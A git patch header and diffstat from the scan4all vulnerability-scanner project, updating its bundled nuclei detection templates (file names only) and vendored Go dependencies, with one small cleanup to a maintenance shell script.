From 725e50bb4490e4118a62125317da575f9550cf4c Mon Sep 17 00:00:00 2001 From: hktalent <18223385+hktalent@users.noreply.github.com> Date: Wed, 17 Aug 2022 14:14:03 +0800 Subject: [PATCH] up nuclei to latest 2022-08-17 --- .github/up.sh | 1 - config/nuclei-templates/51pwn/rails6-xss.yaml | 26 + .../cves/2022/CVE-2022-23348.yaml | 45 + .../cves/2022/CVE-2022-31656.yaml | 45 + .../cves/2022/CVE-2022-31845.yaml | 41 + .../cves/2022/CVE-2022-31847.yaml | 39 + .../cves/2022/CVE-2022-37042.yaml | 46 + .../exposed-panels/nagios-panel.yaml | 28 + .../exposed-panels/nagios-xi-panel.yaml | 32 + .../exposed-panels/ocs-inventory-login.yaml | 8 +- .../exposures/configs/behat-config.yaml | 32 + .../exposures/configs/phpsec-config.yaml | 31 + .../exposures/configs/pyproject-toml.yaml | 31 + .../exposures/files/uwsgi-ini.yaml | 26 + .../network/cowrie-honeypot-detect.yaml | 2 + .../network/detect-addpac-voip-gateway.yaml | 2 + .../network/detect-rsyncd.yaml | 2 + .../network/expn-mail-detect.yaml | 4 +- .../network/ftp-default-credentials.yaml | 2 + .../network/gopher-detection.yaml | 4 +- .../network/iplanet-imap-detect.yaml | 2 + .../network/java-rmi-detect.yaml | 2 + .../network/memcached-stats.yaml | 4 +- .../network/mongodb-detect.yaml | 4 +- .../network/openssh-detection.yaml | 5 +- .../network/printers-info-leak.yaml | 2 + .../nuclei-templates/network/rdp-detect.yaml | 2 + .../nuclei-templates/network/sap-router.yaml | 4 +- .../network/smb-v1-detection.yaml | 4 +- .../network/smtp-detection.yaml | 2 + .../network/starttls-mail-detect.yaml | 2 + .../network/totemomail-smtp-detect.yaml | 2 + .../nuclei-templates/network/unauth-ftp.yaml | 5 +- .../network/weblogic-iiop-detect.yaml | 3 +- .../network/weblogic-t3-detect.yaml | 3 +- .../vulnerabilities/other/thruk-xss.yaml | 25 +- go.mod | 64 +- go.sum | 124 ++- .../nuclei_Yaml/nclruner/runner/runner.go | 5 +- .../nuclei_Yaml/nclruner/runner/templates.go | 2 +- .../aws/aws-sdk-go/aws/endpoints/decode.go | 10 +- .../aws/aws-sdk-go/aws/endpoints/defaults.go | 277 ++++++ .../aws/aws-sdk-go/aws/endpoints/doc.go | 55 +- .../aws/aws-sdk-go/aws/endpoints/endpoints.go | 10 +- .../github.com/aws/aws-sdk-go/aws/version.go | 2 +- .../caddyserver/certmagic/README.md | 4 +- .../caddyserver/certmagic/account.go | 17 +- .../caddyserver/certmagic/acmeclient.go | 73 +- .../caddyserver/certmagic/acmeissuer.go | 65 +- .../caddyserver/certmagic/certificates.go | 2 +- .../caddyserver/certmagic/dnsutil.go | 4 +- .../caddyserver/certmagic/solvers.go | 156 ++-- vendor/github.com/go-rod/rod/element.go | 14 +- vendor/github.com/go-rod/rod/hijack.go | 4 +- vendor/github.com/go-rod/rod/lib/cdp/error.go | 6 - .../go-rod/rod/lib/defaults/defaults.go | 2 +- .../go-rod/rod/lib/launcher/revision.go | 4 +- .../go-rod/rod/lib/proto/accessibility.go | 3 + .../github.com/go-rod/rod/lib/proto/audits.go | 53 +- vendor/github.com/go-rod/rod/lib/proto/css.go | 32 + .../go-rod/rod/lib/proto/debugger.go | 72 ++ .../go-rod/rod/lib/proto/definitions.go | 11 + .../go-rod/rod/lib/proto/indexed_db.go | 56 +- .../go-rod/rod/lib/proto/network.go | 11 + .../github.com/go-rod/rod/lib/proto/page.go | 18 +- .../go-rod/rod/lib/proto/storage.go | 58 ++ .../github.com/go-rod/rod/lib/proto/target.go | 33 + .../github.com/go-rod/rod/lib/utils/utils.go | 11 + vendor/github.com/go-rod/rod/must.go | 9 + vendor/github.com/go-rod/rod/page.go | 26 + .../github.com/klauspost/compress/README.md | 10 + .../klauspost/compress/zstd/bytebuf.go | 15 +- .../klauspost/compress/zstd/decoder.go | 3 + .../klauspost/compress/zstd/encoder.go | 4 +- .../compress/zstd/encoder_options.go | 2 +- .../klauspost/compress/zstd/framedec.go | 21 +- .../compress/zstd/fse_decoder_amd64.go | 4 +- .../klauspost/compress/zstd/seqdec_amd64.go | 26 +- .../klauspost/compress/zstd/seqdec_amd64.s | 460 +++++----- .../github.com/klauspost/cpuid/v2/README.md | 121 +++ vendor/github.com/klauspost/cpuid/v2/cpuid.go | 154 +++- .../klauspost/cpuid/v2/featureid_string.go | 249 +++--- .../klauspost/cpuid/v2/os_darwin_arm64.go | 112 ++- vendor/github.com/lib/pq/.travis.sh | 73 -- vendor/github.com/lib/pq/.travis.yml | 45 - vendor/github.com/lib/pq/README.md | 8 +- vendor/github.com/lib/pq/array.go | 6 +- vendor/github.com/lib/pq/conn.go | 176 ++-- vendor/github.com/lib/pq/conn_go18.go | 102 ++- vendor/github.com/lib/pq/connector.go | 5 + vendor/github.com/lib/pq/copy.go | 114 ++- vendor/github.com/lib/pq/encode.go | 24 +- vendor/github.com/lib/pq/error.go | 17 +- vendor/github.com/lib/pq/notice.go | 1 + vendor/github.com/lib/pq/ssl.go | 8 - vendor/github.com/lib/pq/ssl_permissions.go | 81 +- vendor/github.com/lib/pq/ssl_windows.go | 1 + vendor/github.com/lib/pq/user_other.go | 10 + vendor/github.com/lib/pq/user_posix.go | 3 +- vendor/github.com/mholt/acmez/README.md | 27 +- vendor/github.com/mholt/acmez/acme/order.go | 9 + vendor/github.com/mholt/acmez/client.go | 35 +- .../projectdiscovery/blackrock/LICENSE.md | 21 + .../projectdiscovery/blackrock/README.md | 2 + .../chaos-client/pkg/chaos/chaos.go | 78 +- .../projectdiscovery/dnsx/libs/dnsx/dnsx.go | 1 + .../projectdiscovery/httputil/httputil.go | 9 + .../nuclei/v2/pkg/catalog/catalogue.go | 26 +- .../nuclei/v2/pkg/catalog/config/config.go | 2 +- .../nuclei/v2/pkg/catalog/disk/catalog.go | 25 + .../nuclei/v2/pkg/catalog/{ => disk}/find.go | 15 +- .../nuclei/v2/pkg/catalog/{ => disk}/path.go | 6 +- .../pkg/catalog/loader/filter/path_filter.go | 2 +- .../nuclei/v2/pkg/catalog/loader/loader.go | 14 +- .../nuclei/v2/pkg/operators/common/dsl/dsl.go | 58 ++ .../nuclei/v2/pkg/parsers/parser.go | 13 +- .../nuclei/v2/pkg/parsers/workflow_loader.go | 4 +- .../protocols/common/expressions/variables.go | 2 +- .../protocols/common/generators/generators.go | 7 +- .../pkg/protocols/common/generators/load.go | 9 +- .../protocols/common/interactsh/interactsh.go | 20 +- .../protocols/headless/engine/action_types.go | 2 +- .../http/httpclientpool/clientpool.go | 2 + .../nuclei/v2/pkg/protocols/http/raw/raw.go | 3 + .../nuclei/v2/pkg/protocols/protocols.go | 2 +- .../nuclei/v2/pkg/templates/compile.go | 2 +- .../nuclei/v2/pkg/types/resume.go | 43 +- .../nuclei/v2/pkg/utils/utils.go | 7 +- .../projectdiscovery/rawhttp/client/writer.go | 2 +- .../rawhttp/clientpipeline/request.go | 2 +- .../projectdiscovery/rawhttp/conn.go | 39 +- .../projectdiscovery/rawhttp/options.go | 2 + .../projectdiscovery/rawhttp/util.go | 2 +- .../projectdiscovery/sliceutil/sliceutil.go | 18 +- .../wappalyzergo/fingerprints_data.go | 2 +- .../weppos/publicsuffix-go/LICENSE.txt | 2 +- .../publicsuffix/publicsuffix.go | 2 +- .../publicsuffix-go/publicsuffix/rules.go | 279 ++++-- vendor/github.com/xanzy/go-gitlab/README.md | 1 + vendor/github.com/xanzy/go-gitlab/gitlab.go | 3 +- .../xanzy/go-gitlab/group_members.go | 12 +- vendor/github.com/xanzy/go-gitlab/invites.go | 1 + vendor/github.com/xanzy/go-gitlab/issues.go | 4 + vendor/github.com/xanzy/go-gitlab/jobs.go | 9 +- vendor/github.com/xanzy/go-gitlab/packages.go | 19 + vendor/github.com/xanzy/go-gitlab/settings.go | 39 + vendor/github.com/xanzy/go-gitlab/users.go | 8 +- vendor/github.com/zmap/rc2/LICENSE | 204 +++++ .../zmap/zcrypto/tls/key_agreement.go | 22 +- .../zmap/zcrypto/x509/extended_key_usage.go | 10 + vendor/go.uber.org/atomic/CHANGELOG.md | 17 + vendor/go.uber.org/atomic/bool.go | 11 +- vendor/go.uber.org/atomic/duration.go | 11 +- vendor/go.uber.org/atomic/error.go | 13 +- vendor/go.uber.org/atomic/error_ext.go | 4 +- vendor/go.uber.org/atomic/float32.go | 77 ++ vendor/go.uber.org/atomic/float32_ext.go | 76 ++ vendor/go.uber.org/atomic/float64.go | 2 +- vendor/go.uber.org/atomic/float64_ext.go | 35 +- vendor/go.uber.org/atomic/int32.go | 9 +- vendor/go.uber.org/atomic/int64.go | 9 +- vendor/go.uber.org/atomic/nocmp.go | 12 +- vendor/go.uber.org/atomic/pointer_go118.go | 60 ++ vendor/go.uber.org/atomic/pointer_go119.go | 61 ++ vendor/go.uber.org/atomic/string.go | 13 +- vendor/go.uber.org/atomic/string_ext.go | 6 +- vendor/go.uber.org/atomic/time.go | 2 +- vendor/go.uber.org/atomic/uint32.go | 9 +- vendor/go.uber.org/atomic/uint64.go | 9 +- vendor/go.uber.org/atomic/uintptr.go | 9 +- vendor/go.uber.org/atomic/unsafe_pointer.go | 9 +- vendor/go.uber.org/atomic/value.go | 4 +- vendor/go.uber.org/zap/CHANGELOG.md | 28 + vendor/go.uber.org/zap/CONTRIBUTING.md | 21 +- vendor/go.uber.org/zap/README.md | 59 +- vendor/go.uber.org/zap/array_go118.go | 124 +++ vendor/go.uber.org/zap/config.go | 4 +- vendor/go.uber.org/zap/doc.go | 60 +- vendor/go.uber.org/zap/encoder.go | 2 +- vendor/go.uber.org/zap/http_handler.go | 25 +- vendor/go.uber.org/zap/internal/exit/exit.go | 22 +- vendor/go.uber.org/zap/logger.go | 48 +- vendor/go.uber.org/zap/options.go | 20 +- vendor/go.uber.org/zap/sugar.go | 116 ++- vendor/go.uber.org/zap/writer.go | 5 +- .../zap/zapcore/buffered_write_syncer.go | 31 + vendor/go.uber.org/zap/zapcore/encoder.go | 9 +- vendor/go.uber.org/zap/zapcore/entry.go | 71 +- vendor/go.uber.org/zap/zapcore/error.go | 14 +- .../go.uber.org/zap/zapcore/json_encoder.go | 4 +- vendor/go.uber.org/zap/zapcore/sampler.go | 14 +- vendor/golang.org/x/crypto/AUTHORS | 3 - vendor/golang.org/x/crypto/CONTRIBUTORS | 3 - .../x/crypto/curve25519/curve25519.go | 9 +- vendor/golang.org/x/crypto/ssh/certs.go | 2 + vendor/golang.org/x/mod/semver/semver.go | 30 +- vendor/golang.org/x/net/http2/frame.go | 22 +- vendor/golang.org/x/net/http2/hpack/encode.go | 2 +- vendor/golang.org/x/net/http2/hpack/hpack.go | 16 +- vendor/golang.org/x/net/http2/http2.go | 8 +- vendor/golang.org/x/net/http2/server.go | 9 + vendor/golang.org/x/net/http2/transport.go | 51 +- .../internal/socket/zsys_freebsd_riscv64.go | 30 + .../x/net/ipv4/zsys_freebsd_riscv64.go | 52 ++ .../x/net/ipv6/zsys_freebsd_riscv64.go | 64 ++ vendor/golang.org/x/oauth2/AUTHORS | 3 - vendor/golang.org/x/oauth2/CONTRIBUTORS | 3 - vendor/golang.org/x/sync/AUTHORS | 3 - vendor/golang.org/x/sync/CONTRIBUTORS | 3 - vendor/golang.org/x/sync/errgroup/errgroup.go | 70 +- vendor/golang.org/x/sys/cpu/cpu_arm64.go | 7 +- .../golang.org/x/sys/cpu/cpu_openbsd_arm64.go | 65 ++ .../golang.org/x/sys/cpu/cpu_openbsd_arm64.s | 11 + .../golang.org/x/sys/cpu/cpu_other_arm64.go | 4 +- vendor/golang.org/x/sys/unix/mkall.sh | 18 +- vendor/golang.org/x/sys/unix/syscall_aix.go | 2 +- vendor/golang.org/x/sys/unix/syscall_bsd.go | 2 +- vendor/golang.org/x/sys/unix/syscall_linux.go | 2 +- .../x/sys/unix/syscall_openbsd_libc.go | 27 + .../x/sys/unix/zerrors_linux_386.go | 4 +- .../x/sys/unix/zerrors_linux_amd64.go | 4 +- .../x/sys/unix/zerrors_linux_arm.go | 4 +- .../x/sys/unix/zerrors_linux_arm64.go | 4 +- .../x/sys/unix/zerrors_linux_loong64.go | 4 +- .../x/sys/unix/zerrors_linux_mips.go | 4 +- .../x/sys/unix/zerrors_linux_mips64.go | 4 +- .../x/sys/unix/zerrors_linux_mips64le.go | 4 +- .../x/sys/unix/zerrors_linux_mipsle.go | 4 +- .../x/sys/unix/zerrors_linux_ppc.go | 4 +- .../x/sys/unix/zerrors_linux_ppc64.go | 4 +- .../x/sys/unix/zerrors_linux_ppc64le.go | 4 +- .../x/sys/unix/zerrors_linux_riscv64.go | 4 +- .../x/sys/unix/zerrors_linux_s390x.go | 4 +- .../x/sys/unix/zerrors_linux_sparc64.go | 4 +- .../x/sys/unix/zsyscall_darwin_amd64.1_13.s | 2 +- .../x/sys/unix/zsyscall_darwin_amd64.s | 2 +- .../x/sys/unix/zsyscall_darwin_arm64.1_13.s | 2 +- .../x/sys/unix/zsyscall_darwin_arm64.s | 2 +- .../x/sys/unix/zsyscall_openbsd_386.go | 798 +++++++++++++++--- .../x/sys/unix/zsyscall_openbsd_386.s | 796 +++++++++++++++++ .../x/sys/unix/zsyscall_openbsd_amd64.go | 798 +++++++++++++++--- .../x/sys/unix/zsyscall_openbsd_amd64.s | 796 +++++++++++++++++ .../x/sys/unix/zsyscall_openbsd_arm64.go | 798 +++++++++++++++--- .../x/sys/unix/zsyscall_openbsd_arm64.s | 796 +++++++++++++++++ .../x/sys/unix/zsysnum_linux_386.go | 2 +- .../x/sys/unix/zsysnum_linux_amd64.go | 2 +- .../x/sys/unix/zsysnum_linux_arm.go | 2 +- .../x/sys/unix/zsysnum_linux_arm64.go | 2 +- .../x/sys/unix/zsysnum_linux_loong64.go | 2 +- .../x/sys/unix/zsysnum_linux_mips.go | 2 +- .../x/sys/unix/zsysnum_linux_mips64.go | 2 +- .../x/sys/unix/zsysnum_linux_mips64le.go | 2 +- .../x/sys/unix/zsysnum_linux_mipsle.go | 2 +- .../x/sys/unix/zsysnum_linux_ppc.go | 2 +- .../x/sys/unix/zsysnum_linux_ppc64.go | 2 +- .../x/sys/unix/zsysnum_linux_ppc64le.go | 2 +- .../x/sys/unix/zsysnum_linux_riscv64.go | 2 +- .../x/sys/unix/zsysnum_linux_s390x.go | 2 +- .../x/sys/unix/zsysnum_linux_sparc64.go | 2 +- .../x/sys/unix/zsysnum_openbsd_386.go | 1 + .../x/sys/unix/zsysnum_openbsd_amd64.go | 1 + .../x/sys/unix/zsysnum_openbsd_arm64.go | 1 + vendor/golang.org/x/sys/unix/ztypes_linux.go | 8 + .../golang.org/x/sys/unix/ztypes_linux_386.go | 2 +- .../x/sys/unix/ztypes_linux_amd64.go | 2 +- .../golang.org/x/sys/unix/ztypes_linux_arm.go | 2 +- .../x/sys/unix/ztypes_linux_arm64.go | 2 +- .../x/sys/unix/ztypes_linux_loong64.go | 2 +- .../x/sys/unix/ztypes_linux_mips.go | 2 +- .../x/sys/unix/ztypes_linux_mips64.go | 2 +- .../x/sys/unix/ztypes_linux_mips64le.go | 2 +- .../x/sys/unix/ztypes_linux_mipsle.go | 2 +- .../golang.org/x/sys/unix/ztypes_linux_ppc.go | 2 +- .../x/sys/unix/ztypes_linux_ppc64.go | 2 +- .../x/sys/unix/ztypes_linux_ppc64le.go | 2 +- .../x/sys/unix/ztypes_linux_riscv64.go | 2 +- .../x/sys/unix/ztypes_linux_s390x.go | 2 +- .../x/sys/unix/ztypes_linux_sparc64.go | 2 +- .../x/sys/windows/syscall_windows.go | 95 +++ .../x/sys/windows/zsyscall_windows.go | 9 + vendor/golang.org/x/time/AUTHORS | 3 - vendor/golang.org/x/time/CONTRIBUTORS | 3 - vendor/golang.org/x/time/rate/rate.go | 20 +- vendor/golang.org/x/tools/AUTHORS | 3 - vendor/golang.org/x/tools/CONTRIBUTORS | 3 - .../x/tools/go/gcexportdata/gcexportdata.go | 72 +- .../x/tools/go/gcexportdata/importer.go | 2 + .../x/tools/go/internal/gcimporter/bexport.go | 43 +- .../x/tools/go/internal/gcimporter/bimport.go | 52 +- .../go/internal/gcimporter/exportdata.go | 16 +- .../go/internal/gcimporter/gcimporter.go | 171 ++-- .../x/tools/go/internal/gcimporter/iexport.go | 327 +++++-- .../x/tools/go/internal/gcimporter/iimport.go | 342 ++++++-- .../go/internal/gcimporter/support_go117.go | 16 + .../go/internal/gcimporter/support_go118.go | 23 + .../go/internal/gcimporter/unified_no.go | 10 + .../go/internal/gcimporter/unified_yes.go | 10 + .../go/internal/gcimporter/ureader_no.go | 19 + .../go/internal/gcimporter/ureader_yes.go | 612 ++++++++++++++ .../x/tools/go/internal/pkgbits/codes.go | 77 ++ .../x/tools/go/internal/pkgbits/decoder.go | 433 ++++++++++ .../x/tools/go/internal/pkgbits/doc.go | 32 + .../x/tools/go/internal/pkgbits/encoder.go | 379 +++++++++ .../x/tools/go/internal/pkgbits/flags.go | 9 + .../x/tools/go/internal/pkgbits/frames_go1.go | 21 + .../tools/go/internal/pkgbits/frames_go17.go | 28 + .../x/tools/go/internal/pkgbits/reloc.go | 42 + .../x/tools/go/internal/pkgbits/support.go | 17 + .../x/tools/go/internal/pkgbits/sync.go | 113 +++ .../go/internal/pkgbits/syncmarker_string.go | 89 ++ vendor/golang.org/x/tools/go/packages/doc.go | 1 - .../golang.org/x/tools/go/packages/golist.go | 92 +- .../x/tools/go/packages/loadmode_string.go | 4 +- .../x/tools/go/packages/packages.go | 78 +- .../x/tools/internal/gocommand/invoke.go | 22 +- .../x/tools/internal/gocommand/vendor.go | 22 +- .../internal/packagesinternal/packages.go | 2 + .../x/tools/internal/typeparams/common.go | 179 ++++ .../x/tools/internal/typeparams/coretype.go | 122 +++ .../internal/typeparams/enabled_go117.go | 12 + .../internal/typeparams/enabled_go118.go | 15 + .../x/tools/internal/typeparams/normalize.go | 218 +++++ .../x/tools/internal/typeparams/termlist.go | 163 ++++ .../internal/typeparams/typeparams_go117.go | 197 +++++ .../internal/typeparams/typeparams_go118.go | 151 ++++ .../x/tools/internal/typeparams/typeterm.go | 170 ++++ .../tools/internal/typesinternal/errorcode.go | 158 ++++ .../typesinternal/errorcode_string.go | 18 +- .../x/tools/internal/typesinternal/types.go | 11 +- .../tools/internal/typesinternal/types_118.go | 19 + vendor/golang.org/x/xerrors/LICENSE | 27 - vendor/golang.org/x/xerrors/PATENTS | 22 - vendor/golang.org/x/xerrors/README | 2 - vendor/golang.org/x/xerrors/adaptor.go | 193 ----- vendor/golang.org/x/xerrors/codereview.cfg | 1 - vendor/golang.org/x/xerrors/doc.go | 23 - vendor/golang.org/x/xerrors/errors.go | 33 - vendor/golang.org/x/xerrors/fmt.go | 189 ----- vendor/golang.org/x/xerrors/format.go | 34 - vendor/golang.org/x/xerrors/frame.go | 56 -- .../golang.org/x/xerrors/internal/internal.go | 8 - vendor/golang.org/x/xerrors/wrap.go | 112 --- vendor/google.golang.org/protobuf/AUTHORS | 3 - .../google.golang.org/protobuf/CONTRIBUTORS | 3 - .../protobuf/encoding/protojson/decode.go | 174 ++-- .../protobuf/encoding/protojson/encode.go | 51 +- .../encoding/protojson/well_known_types.go | 76 +- .../protobuf/encoding/prototext/decode.go | 116 +-- .../protobuf/encoding/prototext/encode.go | 39 +- .../protobuf/encoding/protowire/wire.go | 4 + .../protobuf/internal/descfmt/stringer.go | 66 +- .../internal/encoding/defval/default.go | 78 +- .../encoding/messageset/messageset.go | 7 +- .../protobuf/internal/encoding/tag/tag.go | 96 +-- .../protobuf/internal/encoding/text/decode.go | 30 +- .../internal/encoding/text/decode_number.go | 6 +- .../protobuf/internal/encoding/text/doc.go | 4 +- .../protobuf/internal/filedesc/build.go | 19 +- .../protobuf/internal/filedesc/desc.go | 380 ++++----- .../protobuf/internal/filedesc/desc_init.go | 36 +- .../protobuf/internal/filedesc/desc_lazy.go | 80 +- .../protobuf/internal/filedesc/desc_list.go | 167 ++-- .../protobuf/internal/filedesc/placeholder.go | 136 +-- .../protobuf/internal/filetype/build.go | 87 +- .../protobuf/internal/impl/api_export.go | 42 +- .../protobuf/internal/impl/checkinit.go | 12 +- .../protobuf/internal/impl/codec_extension.go | 36 +- .../protobuf/internal/impl/codec_field.go | 90 +- .../protobuf/internal/impl/codec_map.go | 20 +- .../protobuf/internal/impl/codec_message.go | 30 +- .../protobuf/internal/impl/codec_tables.go | 290 +++---- .../protobuf/internal/impl/convert.go | 228 ++--- .../protobuf/internal/impl/convert_list.go | 42 +- .../protobuf/internal/impl/convert_map.go | 32 +- .../protobuf/internal/impl/decode.go | 21 +- .../protobuf/internal/impl/enum.go | 10 +- .../protobuf/internal/impl/extension.go | 26 +- .../protobuf/internal/impl/legacy_enum.go | 57 +- .../protobuf/internal/impl/legacy_export.go | 18 +- .../internal/impl/legacy_extension.go | 100 +-- .../protobuf/internal/impl/legacy_message.go | 122 ++- .../protobuf/internal/impl/merge.go | 32 +- .../protobuf/internal/impl/message.go | 41 +- .../protobuf/internal/impl/message_reflect.go | 74 +- .../internal/impl/message_reflect_field.go | 118 +-- .../protobuf/internal/impl/validate.go | 50 +- .../protobuf/internal/impl/weak.go | 16 +- .../protobuf/internal/order/order.go | 16 +- .../protobuf/internal/order/range.go | 22 +- .../protobuf/internal/strs/strings_unsafe.go | 6 +- .../protobuf/internal/version/version.go | 54 +- .../protobuf/proto/decode.go | 3 +- .../google.golang.org/protobuf/proto/doc.go | 21 +- .../protobuf/proto/encode.go | 5 +- .../google.golang.org/protobuf/proto/equal.go | 50 +- .../reflect/protodesc/desc_resolve.go | 6 +- .../protobuf/reflect/protoreflect/proto.go | 32 +- .../protobuf/reflect/protoreflect/source.go | 1 + .../protobuf/reflect/protoreflect/type.go | 1 + .../reflect/protoreflect/value_union.go | 2 + .../reflect/protoregistry/registry.go | 2 + .../protobuf/runtime/protoimpl/version.go | 8 +- .../protobuf/types/dynamicpb/dynamic.go | 320 +++---- vendor/gopkg.in/irc.v3/.gitignore | 6 + vendor/gopkg.in/irc.v3/.gitmodules | 3 + vendor/gopkg.in/irc.v3/.golangci.yml | 15 + vendor/gopkg.in/irc.v3/LICENSE | 18 + vendor/gopkg.in/irc.v3/README.md | 108 +++ vendor/gopkg.in/irc.v3/client.go | 338 ++++++++ vendor/gopkg.in/irc.v3/client_handlers.go | 151 ++++ vendor/gopkg.in/irc.v3/conn.go | 111 +++ vendor/gopkg.in/irc.v3/handler.go | 16 + vendor/gopkg.in/irc.v3/numerics.go | 688 +++++++++++++++ vendor/gopkg.in/irc.v3/parser.go | 403 +++++++++ vendor/gopkg.in/irc.v3/utils.go | 50 ++ vendor/modules.txt | 81 +- 416 files changed, 17739 insertions(+), 4779 deletions(-) create mode 100644 config/nuclei-templates/51pwn/rails6-xss.yaml create mode 100644 config/nuclei-templates/cves/2022/CVE-2022-23348.yaml create mode 100644 config/nuclei-templates/cves/2022/CVE-2022-31656.yaml create mode 100644 config/nuclei-templates/cves/2022/CVE-2022-31845.yaml create mode 100644 config/nuclei-templates/cves/2022/CVE-2022-31847.yaml create mode 100644 config/nuclei-templates/cves/2022/CVE-2022-37042.yaml create mode 100644 config/nuclei-templates/exposed-panels/nagios-panel.yaml create mode 100644 config/nuclei-templates/exposed-panels/nagios-xi-panel.yaml create mode 100644 config/nuclei-templates/exposures/configs/behat-config.yaml create mode 100644 config/nuclei-templates/exposures/configs/phpsec-config.yaml create mode 100644 config/nuclei-templates/exposures/configs/pyproject-toml.yaml create mode 100644 config/nuclei-templates/exposures/files/uwsgi-ini.yaml delete mode 100644 vendor/github.com/lib/pq/.travis.sh delete mode 100644 vendor/github.com/lib/pq/.travis.yml create mode 100644 vendor/github.com/lib/pq/user_other.go create mode 100644 vendor/github.com/projectdiscovery/blackrock/LICENSE.md create mode 100644 vendor/github.com/projectdiscovery/blackrock/README.md create mode 100644 vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/catalog.go rename vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/{ => disk}/find.go (87%) rename vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/{ => disk}/path.go (91%) create mode 100644 vendor/github.com/zmap/rc2/LICENSE create mode 100644 vendor/go.uber.org/atomic/float32.go create mode 100644 vendor/go.uber.org/atomic/float32_ext.go create mode 100644 vendor/go.uber.org/atomic/pointer_go118.go create mode 100644 vendor/go.uber.org/atomic/pointer_go119.go create mode 100644 vendor/go.uber.org/zap/array_go118.go delete mode 100644 vendor/golang.org/x/crypto/AUTHORS delete mode 100644 vendor/golang.org/x/crypto/CONTRIBUTORS create mode 100644 vendor/golang.org/x/net/internal/socket/zsys_freebsd_riscv64.go create mode 100644 vendor/golang.org/x/net/ipv4/zsys_freebsd_riscv64.go create mode 100644 vendor/golang.org/x/net/ipv6/zsys_freebsd_riscv64.go delete mode 100644 vendor/golang.org/x/oauth2/AUTHORS delete mode 100644 vendor/golang.org/x/oauth2/CONTRIBUTORS delete mode 100644 vendor/golang.org/x/sync/AUTHORS delete mode 100644 vendor/golang.org/x/sync/CONTRIBUTORS create mode 100644 vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.go create mode 100644 vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.s create mode 100644 vendor/golang.org/x/sys/unix/syscall_openbsd_libc.go create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s delete mode 100644 vendor/golang.org/x/time/AUTHORS delete mode 100644 vendor/golang.org/x/time/CONTRIBUTORS delete mode 100644 vendor/golang.org/x/tools/AUTHORS delete mode 100644 vendor/golang.org/x/tools/CONTRIBUTORS create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/support_go117.go create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/support_go118.go create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/unified_no.go create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/unified_yes.go create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/ureader_no.go create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/ureader_yes.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/codes.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/decoder.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/doc.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/encoder.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/flags.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/frames_go1.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/frames_go17.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/reloc.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/support.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/sync.go create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/syncmarker_string.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/common.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/coretype.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/enabled_go117.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/enabled_go118.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/normalize.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/termlist.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/typeparams_go117.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/typeparams_go118.go create mode 100644 vendor/golang.org/x/tools/internal/typeparams/typeterm.go create mode 100644 vendor/golang.org/x/tools/internal/typesinternal/types_118.go delete mode 100644 vendor/golang.org/x/xerrors/LICENSE delete mode 100644 vendor/golang.org/x/xerrors/PATENTS delete mode 100644 vendor/golang.org/x/xerrors/README delete mode 100644 vendor/golang.org/x/xerrors/adaptor.go delete mode 100644 vendor/golang.org/x/xerrors/codereview.cfg delete mode 100644 vendor/golang.org/x/xerrors/doc.go delete mode 100644 vendor/golang.org/x/xerrors/errors.go delete mode 100644 vendor/golang.org/x/xerrors/fmt.go delete mode 100644 vendor/golang.org/x/xerrors/format.go delete mode 100644 vendor/golang.org/x/xerrors/frame.go delete mode 100644 vendor/golang.org/x/xerrors/internal/internal.go delete mode 100644 vendor/golang.org/x/xerrors/wrap.go delete mode 100644 vendor/google.golang.org/protobuf/AUTHORS delete mode 100644 vendor/google.golang.org/protobuf/CONTRIBUTORS create mode 100644 vendor/gopkg.in/irc.v3/.gitignore create mode 100644 vendor/gopkg.in/irc.v3/.gitmodules create mode 100644 vendor/gopkg.in/irc.v3/.golangci.yml create mode 100644 vendor/gopkg.in/irc.v3/LICENSE create mode 100644 vendor/gopkg.in/irc.v3/README.md create mode 100644 vendor/gopkg.in/irc.v3/client.go create mode 100644 vendor/gopkg.in/irc.v3/client_handlers.go create mode 100644 vendor/gopkg.in/irc.v3/conn.go create mode 100644 vendor/gopkg.in/irc.v3/handler.go create mode 100644 vendor/gopkg.in/irc.v3/numerics.go create mode 100644 vendor/gopkg.in/irc.v3/parser.go create mode 100644 vendor/gopkg.in/irc.v3/utils.go diff --git a/.github/up.sh b/.github/up.sh index 167fc7c3d..6331ae4e0 100755 --- a/.github/up.sh +++ b/.github/up.sh @@ -16,7 +16,6 @@ cat ./go.mod|grep projectdiscovery|grep -E "subfinder|nuclei|wappalyzergo"|awk ' cp -rf $HOME/MyWork/xray/pocs/*.yml $HOME/MyWork/scan4all/pocs_yml/ymlFiles/ ls ../nuclei-templates|xargs -I % cp -rf ../nuclei-templates/% config/nuclei-templates/ -config/nuclei-templates echo "start 静态go.mod去除不相关依赖" go mod tidy echo "更新 vendor " diff --git 